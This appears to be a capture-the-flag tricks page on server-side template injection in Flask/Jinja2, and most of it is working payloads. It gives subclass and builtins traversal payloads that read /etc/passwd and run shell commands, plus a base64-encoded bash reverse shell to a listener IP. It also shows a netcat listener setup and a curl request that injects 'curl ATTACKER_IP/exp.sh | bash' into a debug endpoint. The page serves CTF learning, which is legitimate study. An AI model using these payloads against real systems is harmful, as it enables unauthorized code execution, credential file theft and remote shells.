> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/rce/trick-0216/web-rce-ssti.md).

# Ssti

## SSTI Remote Code Execution via Popen

Leveraging a Server-Side Template Injection (SSTI) vulnerability, specifically in Python/Flask environments using template engines like Jinja2, can allow access to the template engine's built-in functions, global variables, and underlying Python objects. This often includes access to the `__builtins__` module or the ability to traverse object hierarchies to find useful classes.

SSTI allows attackers to execute arbitrary code or access sensitive data by injecting template syntax into user-supplied input that is then rendered by the server. Accessing powerful objects or the global scope is key. One common path involves accessing the Method Resolution Order (MRO) of a base class to find the root `object` class and then enumerating its `__subclasses__` to discover classes that can perform actions like file operations or command execution. A payload to list available subclasses might look like this:

```python
{{ ''.__class__.__mro__[1].__subclasses__() }}
```

By traversing the object hierarchy via `__subclasses__`, it's possible to find classes capable of file system interaction or command execution. For instance, to read a file like `/etc/passwd` without relying on a specific subclass index, one can iterate through available subclasses to find the `_io.TextIOWrapper` class:

```python

<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='TextIOWrapper'>{{ x("/etc/passwd").read() }}</div></div>

```

Alternatively, accessing `__builtins__` is often possible via the global scope of certain functions or methods available within the template context, such as `self.__init__.__globals__.__builtins__`. Through `__builtins__`, you can import modules like `os` and execute commands, or access built-in functions like `open` for file reading. For example, reading a file using `open` accessed via `__builtins__`:

```python
{{ __builtins__['open']('/etc/passwd').read() }}
```

Or, using `__import__` to get `os` and then `popen` to read a file:

```python
{{ __import__('os').popen('cat /etc/passwd').read() }}
```

Once the `os` module is imported, various functions can be used for command execution. For example, `os.system()` can execute a command directly:

```python
{{ __import__('os').system('ls') }}
```

Another effective method is using `os.popen()`, which executes a command in a subshell and returns a file-like object connected to the command's standard output, allowing the result to be read.

Command execution can also be achieved by finding suitable classes via `__subclasses__`, such as those related to subprocess execution. A more robust way than relying on specific indices is to iterate through subclasses to find the `Popen` class:

```python

<div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='Popen'>{{ x("ls", shell=True, stdout=-1).communicate() }}</div></div>
```

The core payload injects a call to `os.popen` to execute a shell command. For example, to execute a base64-decoded command for a reverse shell, you can use:

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMSIK | base64 -d | bash').read() }}
```

This specific example uses `echo ... | base64 -d | bash` to execute a base64 encoded reverse shell payload (`bash -c "bash -i >& /dev/tcp/10.10.16.4/4444 0>&1"`). Remember to replace `10.10.16.4` and `4444` with your listener IP and port. This payload was designed to be injected into the 'Real name' field when generating a PGP key, requiring subsequent export and potentially signing steps to trigger the template evaluation on the web application side. Ensure a netcat listener is active on the specified IP and port before submitting.

***

## SSTI to Remote Code Execution (Flask)

Set up your netcat listener:

```bash
nc -lvnp 4444
```

Leverage Python's builtins accessible in the Flask/Jinja2 template context. Different objects can provide access to the global builtins dictionary, such as `self`, `config`, `request`, or `g`. One common path is via `self.__init__.__globals__.__builtins__`. Another path commonly seen involves traversing the Method Resolution Order (`__mro__`) and subclasses of base objects like strings: `''.__class__.__mro__[1].__subclasses__()[XYZ].__init__.__globals__['__builtins__']`.

Once the `__builtins__` dictionary is accessed, built-in functions like `__import__` can be used. Using `__import__("os")` allows importing the `os` module, which provides functions for interacting with the operating system. The `os.popen("...")` function can execute arbitrary commands, and the output of the command can be read using `.read()`.

Here are a few examples demonstrating access to builtins and command execution within a template context:

Using `self`:

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

Using `__mro__` and subclasses (index `XYZ` varies by Python version/environment):

```python
{{ ''.__class__.__mro__[1].__subclasses__()[444].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read() }}
```

Using `config`:

```python
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read() }}
```

Using `request`:

```python
{{ request.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read() }}
```

Using `g`:

```python
{{ g.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read() }}
```

For a reverse shell, the command executed by `popen` can be a script fetching and executing command. This payload fetches and executes a reverse shell script:

```bash
curl 'http://10.10.85.113:7777/debug?debug={{+self.__init__.__globals__.__builtins__.__import__("os").popen("curl+ATTACKER_IP/exp.sh+|+bash").read()+}}&password=[REDACTED]' -I
```

Send the payload to the vulnerable endpoint. The `popen(...).read()` part executes the command within the template and reads its output.

Trigger execution by visiting a results endpoint, often requiring specific headers or cookies (like `X-Forwarded-For` and `session` shown here):

```bash
curl 'http://10.10.85.113:7777/debugresult' -H 'X-Forwarded-For: 127.0.0.1' -b 'session=.eJxdjdEKwiAYRl9Ff...[REDACTED]'
```

The reverse shell should connect back to your listener.
